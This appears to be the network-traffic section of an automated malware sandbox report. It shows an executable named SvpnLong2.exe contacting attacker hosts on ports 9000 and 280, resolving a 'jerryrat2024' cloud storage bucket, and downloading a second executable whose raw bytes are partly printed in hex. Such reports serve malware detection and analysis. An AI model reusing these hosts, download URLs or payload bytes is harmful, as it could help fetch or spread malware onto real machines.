Jul 27, 2024 17:00:11.542723894 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.542738914 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.542753935 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.542762041 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.542771101 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.542798042 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.543567896 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.543585062 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.543600082 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.543615103 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.543618917 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.543632030 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.543641090 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.543649912 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.543665886 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.543678045 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.543683052 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.543701887 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.544454098 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.544471025 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.544498920 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.544514894 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.544524908 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.544529915 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.544547081 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.544549942 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.544563055 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.544573069 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.544579983 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.544610977 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.546041012 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546056986 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546071053 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546086073 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546102047 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546102047 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.546118021 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546124935 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.546137094 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546160936 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.546195030 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.546422005 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546438932 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546453953 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546468019 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546483994 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546489954 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.546499014 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546511889 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.546516895 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546535969 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546542883 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.546551943 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.546582937 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.547327995 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.547344923 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.547358990 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.547374964 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.547374010 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.547394037 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.547401905 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.547437906 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.621545076 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621570110 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621587038 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621620893 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.621871948 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621895075 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621916056 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621931076 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621934891 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.621948957 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621961117 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.621965885 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621983051 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621999025 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.621999025 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.622018099 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.622025967 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.622057915 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.622766972 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.622801065 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.622833967 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.622853041 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.622869968 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.622903109 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.622920990 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.622936964 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.622971058 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.622983932 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.623585939 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.623620033 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.623637915 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.623653889 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.623687983 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.623699903 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.623723030 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.623755932 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.623786926 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.623790979 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.623826027 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.623838902 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.624546051 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.624579906 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.624596119 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.624614000 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.624665976 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.624684095 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.624701023 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.624737024 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.624747992 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.625160933 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.625194073 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.625227928 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.625230074 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.625262022 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.625279903 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.625296116 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.625328064 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.625339031 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.625360966 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.625405073 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.626137972 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.626173019 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.626204014 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.626221895 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.626238108 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.626270056 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.626290083 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.626305103 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.626338005 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.626353025 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.626370907 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.626435041 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.627082109 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.627116919 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.627150059 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.627165079 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.627185106 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.627216101 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.627228975 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.627252102 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.627285004 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.627300024 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.627319098 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.627363920 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.628061056 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.628096104 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.628127098 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.628149033 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.628160954 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.628196001 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.628209114 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.628230095 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.628262043 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.628278017 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.628298044 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.628346920 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.628920078 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629024029 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629059076 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629095078 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.629100084 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629134893 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629147053 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.629168987 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629201889 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629218102 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.629807949 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629842043 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629859924 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.629874945 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629908085 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629931927 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.629940987 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629975080 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.629987955 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.630008936 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630040884 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630055904 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.630074978 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630120993 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.630685091 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630718946 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630749941 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630765915 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.630784988 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630815983 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630830050 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.630850077 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630882978 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630896091 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.630917072 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630949020 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.630964994 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.631563902 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.631597042 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.631614923 CEST	49742	9000	192.168.2.4	154.82.85.193
Jul 27, 2024 17:00:11.631632090 CEST	9000	49742	154.82.85.193	192.168.2.4
Jul 27, 2024 17:00:11.631670952 CEST	9000	49742	154.82.85.193	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 27, 2024 16:57:47.459347963 CEST	192.168.2.4	1.1.1.1	0x9500	Standard query (0)	jerryrat2024.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 27, 2024 16:57:47.516230106 CEST	1.1.1.1	192.168.2.4	0x9500	No error (0)	jerryrat2024.oss-cn-beijing.aliyuncs.com		39.97.203.118	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	154.82.85.236	280	7308	C:\Users\user\Desktop\SvpnLong2.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 16:57:39.403358936 CEST	75	OUT	GET /Test.txt HTTP/1.1 Connection: Keep-Alive Host: 154.82.85.236:280
Jul 27, 2024 16:57:40.295834064 CEST	196	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 1200 Accept-Ranges: bytes Server: HFS 2.2f Content-Disposition: filename="Test.txt"; Last-Modified: Sat, 13 Jul 2024 09:37:07 GMT

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	39.97.203.118	443	7308	C:\Users\user\Desktop\SvpnLong2.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-27 14:57:50 UTC	112	OUT	GET /arphaCrashReport64.exe HTTP/1.1 Connection: Keep-Alive Host: jerryrat2024.oss-cn-beijing.aliyuncs.com
2024-07-27 14:57:51 UTC	560	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sat, 27 Jul 2024 14:57:51 GMT Content-Type: application/octet-stream Content-Length: 238384 Connection: close x-oss-request-id: 66A50AEFE48B2B3636F18058 Accept-Ranges: bytes ETag: "8B5D51DF7BBD67AEB51E9B9DEE6BC84A" Last-Modified: Fri, 19 Jul 2024 07:12:21 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5816712042177015287 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: i11R33u9Z661Hpud7mvISg== x-oss-server-time: 3
2024-07-27 14:57:51 UTC	3536	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e1 d0 a5 69 a5 b1 cb 3a a5 b1 cb 3a a5 b1 cb 3a c0 d7 c8 3b a0 b1 cb 3a c0 d7 ce 3b 29 b1 cb 3a f7 d9 cf 3b b7 b1 cb 3a f7 d9 c8 3b ad b1 cb 3a f7 d9 ce 3b 90 b1 cb 3a c0 d7 cf 3b ae b1 cb 3a c0 d7 ca 3b b7 b1 cb 3a 33 d8 ca 3b a6 b1 cb 3a a5 b1 ca 3a 0b b1 cb 3a 33 d8 ce 3b a2 b1 cb 3a 33 d8 34 3a a4 b1 cb 3a a5 b1 5c 3a a4 b1 cb 3a 33 d8 c9 3b a4 b1 cb 3a 52 69 63 68 a5 b1 cb Data Ascii: MZ@!L!This program cannot be run in DOS mode.$i:::;:;):;:;:;:;:;:3;:::3;:34::\::3;:Rich
2024-07-27 14:57:51 UTC	4096	IN	Data Raw: 48 8b cb e8 a4 c3 00 00 90 4c 89 bf 80 00 00 00 4c 89 bf 88 00 00 00 4c 89 bf 90 00 00 00 48 8b 57 78 48 83 ea 18 f0 0f c1 72 10 83 ee 01 7f 0a 48 8b 0a 48 8b 01 ff 50 08 90 48 8b 77 60 48 85 f6 74 47 48 8b 5f 68 48 85 db 74 3e bd ff ff 00 00 66 39 2e 74 2b 41 be 00 20 00 00 0f 1f 40 00 66 44 85 33 74 0a 48 8b 4b 08 e8 f9 c9 00 00 90 48 83 c6 04 48 83 c3 10 66 39 2e 75 e3 48 8b 5f 68 48 8b cb e8 df c9 00 00 90 48 8b 4f 50 48 85 c9 74 0a e8 1c 0a 01 00 90 4c 89 7f 50 4c 89 7f 58 48 8b 4f 28 48 85 c9 74 06 e8 e5 be 00 00 90 48 8b 5c 24 50 48 8b 6c 24 58 48 8b 74 24 60 48 83 c4 30 41 5f 41 5e 5f c3 e8 6e 09 01 00 90 cc 48 89 5c 24 08 57 48 83 ec 20 48 8b d9 33 ff 48 8b 49 18 48 85 c9 74 09 e8 c7 09 01 00 48 89 7b 18 48 89 7b 20 48 8b 4b 08 48 85 c9 74 09 e8 Data Ascii: HLLLHWxHrHHPHw`HtGH_hHt>f9.t+A @fD3tHKHHf9.uH_hHHOPHtLPLXHO(HtH\$PHl$XHt$`H0A_A^_nH\$WH H3HIHtH{H{ HKHt
2024-07-27 14:57:51 UTC	4096	IN	Data Raw: 48 89 44 24 40 49 8b d7 48 8d 44 24 60 49 8b cc 48 89 44 24 38 48 8b 84 24 d0 00 00 00 48 89 44 24 30 8b 84 24 c0 00 00 00 89 5c 24 28 89 44 24 20 ff 15 01 f6 01 00 85 c0 75 39 48 8b 8c 24 d8 00 00 00 48 85 c9 74 09 8b 84 24 a0 00 00 00 89 01 48 8b 0f 48 85 c9 74 08 ff 15 09 f6 01 00 8b e8 48 8b 4c 24 60 81 e3 00 03 00 00 48 89 0f 8b c5 89 5f 08 4c 8d 5c 24 70 49 8b 5b 38 49 8b 6b 40 49 8b e3 41 5f 41 5e 41 5c 5f 5e c3 cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 30 48 8b 79 10 48 8b f2 48 8b d9 48 85 ff 0f 84 93 00 00 00 48 83 3f 00 48 8b 19 74 56 48 8d 0d 46 fe 01 00 ff 15 48 f6 01 00 48 85 c0 74 63 48 8d 15 84 fe 01 00 48 8b c8 ff 15 c3 f6 01 00 48 85 c0 74 4e 48 8b 17 45 33 c9 48 c7 44 24 28 00 00 00 00 45 33 c0 48 89 54 24 20 48 8b cb 48 8b d6 Data Ascii: HD$@IHD$`IHD$8H$HD$0$\$(D$ u9H$Ht$HHtHL$`H_L\$pI[8Ik@IA_A^A\_^H\$Ht$WH0HyHHHH?HtVHFHHtcHHHtNHE3HD$(E3HT$ HH
2024-07-27 14:57:51 UTC	4096	IN	Data Raw: 48 89 5c 24 18 55 56 57 48 81 ec 80 02 00 00 48 8b 05 32 e6 02 00 48 33 c4 48 89 84 24 70 02 00 00 44 8b 49 08 33 ed 48 8b f2 48 89 6c 24 48 4c 8b c2 89 6c 24 50 48 8b 11 48 8b f9 41 81 c9 1f 00 02 00 48 89 6c 24 58 48 8d 4c 24 48 e8 0e f9 ff ff 8b d8 85 c0 0f 85 bb 00 00 00 48 8b 4c 24 48 48 8d 44 24 60 48 89 44 24 38 4c 8d 4c 24 40 48 89 6c 24 30 4c 8d 44 24 70 48 89 6c 24 28 33 d2 48 89 6c 24 20 c7 44 24 40 00 01 00 00 ff 15 cc e5 01 00 85 c0 75 59 0f 1f 84 00 00 00 00 00 48 8d 54 24 70 48 8d 4c 24 48 e8 51 ff ff ff 8b d8 85 c0 75 62 48 8b 4c 24 48 48 8d 44 24 60 48 89 44 24 38 4c 8d 4c 24 40 48 89 6c 24 30 4c 8d 44 24 70 48 89 6c 24 28 33 d2 48 89 6c 24 20 c7 44 24 40 00 01 00 00 ff 15 73 e5 01 00 85 c0 74 af 48 8b 4c 24 48 48 85 c9 74 0b ff 15 67 e5 Data Ascii: H\$UVWHH2H3H$pDI3HHl$HLl$PHHAHl$XHL$HHL$HHD$`HD$8LL$@Hl$0LD$pHl$(3Hl$ D$@uYHT$pHL$HQubHL$HHD$`HD$8LL$@Hl$0LD$pHl$(3Hl$ D$@stHL$HHtg
2024-07-27 14:57:51 UTC	4096	IN	Data Raw: 0f 83 6d 04 00 00 85 d2 7e 1a 48 2b fb 8b ca 90 0f b7 04 1f 66 89 03 48 83 c3 02 48 83 e9 01 75 ef 4d 8b 06 41 0f b7 00 49 8b f8 66 3b f0 75 90 66 89 33 66 41 83 3f 3d 0f 85 35 04 00 00 8b 7c 24 40 85 ff 74 39 48 8b 44 24 48 48 89 44 24 50 89 74 24 58 48 89 74 24 60 4d 8b cf 4c 8d 85 a0 01 00 00 48 8d 54 24 50 49 8b ce e8 70 d5 ff ff 8b d8 85 c0 0f 88 fe 03 00 00 e9 5c 01 00 00 83 bd 20 22 00 00 00 75 61 45 85 e4 74 5c 48 89 74 24 50 89 74 24 58 48 89 74 24 60 41 b9 06 00 02 00 45 33 c0 48 8b 54 24 48 48 8d 4c 24 50 e8 ad e8 ff ff 85 c0 0f 85 82 03 00 00 48 8d 95 a0 01 00 00 48 8b 7c 24 50 48 8b cf ff 15 78 d5 01 00 a9 fd ff ff ff 0f 85 49 03 00 00 48 85 ff 74 09 48 8b cf ff 15 7f d5 01 00 49 8b d7 49 8b ce e8 bc 0c 00 00 e9 9a f7 ff ff 49 8b cf 41 0f b7 Data Ascii: m~H+fHHuMAIf;uf3fA?=5\|$@t9HD$HHD$Pt$XHt$`MLHT$PIp\ "uaEt\Ht$Pt$XHt$`AE3HT$HHL$PHH\|$PHxIHtHIIIA
2024-07-27 14:57:51 UTC	4096	IN	Data Raw: 74 29 48 89 5c 24 30 48 8b 4f 08 ff 17 48 8b 5f 10 ba 18 00 00 00 48 8b cf e8 8e 83 00 00 48 8b fb 48 85 db 75 e1 48 8b 5c 24 30 48 8b 7c 24 38 49 c7 46 08 00 00 00 00 48 c7 46 10 00 00 00 00 48 8b 4e 40 48 85 c9 74 06 48 8b 01 ff 50 10 48 8d 4e 18 ff 15 5f c6 01 00 41 c7 06 00 00 00 00 48 8b 74 24 40 48 83 c4 20 41 5e c3 ba 01 00 00 00 b9 05 00 00 c0 e8 d5 bb ff ff cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 48 89 74 24 20 41 56 48 83 ec 20 48 8b 59 48 45 33 f6 48 8b e9 48 85 db 74 2d 4c 39 33 74 28 0f 1f 80 00 00 00 00 48 8b 4b 20 48 85 c9 74 06 48 8b 01 ff 50 10 33 c9 4c 89 73 20 ff 53 40 48 83 c3 48 4c 39 33 75 df 48 8b 1d b8 d5 02 00 48 8b 0d b9 d5 02 00 48 3b d9 73 1d 48 8b 03 48 85 c0 74 0c 33 c9 ff 50 38 48 8b 0d a0 d5 02 00 48 83 c3 08 48 3b d9 Data Ascii: t)H\$0HOH_HHHuH\$0H\|$8IFHFHN@HtHPHN_AHt$@H A^H\$Hl$Ht$ AVH HYHE3HHt-L93t(HK HtHP3Ls S@HHL93uHHH;sHHt3P8HHH;
